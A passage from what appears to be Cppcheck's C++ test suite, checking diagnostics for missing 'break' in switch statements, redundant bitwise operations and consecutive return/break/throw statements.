j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) 